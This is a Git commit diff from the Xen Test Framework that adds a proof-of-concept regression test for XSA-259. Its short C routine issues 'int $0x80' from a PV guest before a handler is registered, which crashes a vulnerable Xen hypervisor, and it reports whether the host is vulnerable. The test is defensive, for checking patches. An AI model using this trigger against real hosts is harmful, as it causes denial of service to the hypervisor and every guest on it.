]> xenbits.xensource.com Git - xtf.git/commitdiff
XSA-259 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 12 Mar 2018 13:35:23 +0000 (13:35 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 2 May 2018 14:01:41 +0000 (15:01 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-259/Makefile [new file with mode: 0644]
tests/xsa-259/main.c [new file with mode: 0644]

index 4831d1555d2e6dd9101ee6e45888d438f6154645..8b8325dd39601c6c336eeaf65e3af4cfab704a99 100644 (file)
@@ -114,6 +114,8 @@ guest breakout.
 
 @subpage test-xsa-255 - grant table v2 -> v1 transition may crash Xen.
 
+@subpage test-xsa-259 - x86: PV guest may crash Xen with XPTI.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-259/Makefile b/tests/xsa-259/Makefile
new file mode 100644 (file)
index 0000000..bbfd662
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-259
+CATEGORY  := xsa
+TEST-ENVS := pv32pae pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-259/main.c b/tests/xsa-259/main.c
new file mode 100644 (file)
index 0000000..2cf0733
--- /dev/null
@@ -0,0 +1,52 @@
+/**
+ * @file tests/xsa-259/main.c
+ * @ref test-xsa-259
+ *
+ * @page test-xsa-259 XSA-259
+ *
+ * Advisory: [XSA-259](http://xenbits.xen.org/xsa/advisory-259.html)
+ *
+ * The Meltdown mitigation work (XPTI) didn't correctly deal with an error
+ * path connecting the `int $0x80` special case handing with general exception
+ * handling, which causes Xen to write 0 to an address near 2^64, and suffer a
+ * fatal pagefault.
+ *
+ * The bug can be triggered by using `int $0x80` before registering a handler
+ * with Xen.  If vulnerable, Xen will crash.
+ *
+ * @see tests/xsa-259/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-259 PoC";
+
+void test_main(void)
+{
+    exinfo_t fault = 0;
+
+    asm volatile ("1: int $0x80; 2:"
+                  _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_eax)
+                  : "+a" (fault)
+                  : "X" (ex_record_fault_eax));
+
+    /*
+     * If Xen is vulnerable, it should have crashed.  If Xen is not
+     * vulnerable, we should have got #GP[0x80|IDT] from the attempt to use a
+     * misconfigured IDT entry.
+     */
+    if ( fault != EXINFO_SYM(GP, (0x80 << 3) | X86_EC_IDT) )
+        return xtf_error("Error: Unexpected fault %#x, %pe\n",
+                         fault, _p(fault));
+
+    xtf_success("Success: Not vulnerable to XSA-259\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */